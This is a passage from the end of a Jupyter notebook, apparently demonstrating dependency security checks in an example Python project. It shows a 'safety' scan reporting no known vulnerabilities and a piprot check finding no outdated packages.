"| /$$_____/ |____ $$| $$$$ /$$__ $$|_ $$_/ | $$ | $$ |\n",
"| | $$$$$$ /$$$$$$$| $$_/ | $$$$$$$$ | $$ | $$ | $$ |\n",
"| \\____ $$ /$$__ $$| $$ | $$_____/ | $$ /$$| $$ | $$ |\n",
"| /$$$$$$$/| $$$$$$$| $$ | $$$$$$$ | $$$$/| $$$$$$$ |\n",
"| |_______/ \\_______/|__/ \\_______/ \\___/ \\____ $$ |\n",
"| /$$ | $$ |\n",
"| | $$$$$$/ |\n",
"| by pyup.io \\______/ |\n",
"| |\n",
"+==============================================================================+\n",
"| REPORT |\n",
"| checked 0 packages, using free DB (updated once a month) |\n",
"+==============================================================================+\n",
"| No known security vulnerabilities found. |\n",
"+==============================================================================+\u001b[0m\n",
"make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'\n"
]
}
],
"source": [
"!make -C example_project/ security-local-dependencies"
]
},
{
"cell_type": "code",
"execution_count": 30,
"id": "f517c757",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"make: Entering directory '/home/alejandro/Programming/fml-security/example_project'\n",
"poetry export --without-hashes -f requirements.txt | piprot --latest --outdated -\n",
"Looks like you've been keeping up to date, time for a delicious beverage!\n",
"make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'\n"
]
}
],
"source": [
"!make -C example_project/ security-local-dependencies-old"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "c2094149",
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.10"
}
},
"nbformat": 4,
"nbformat_minor": 5
}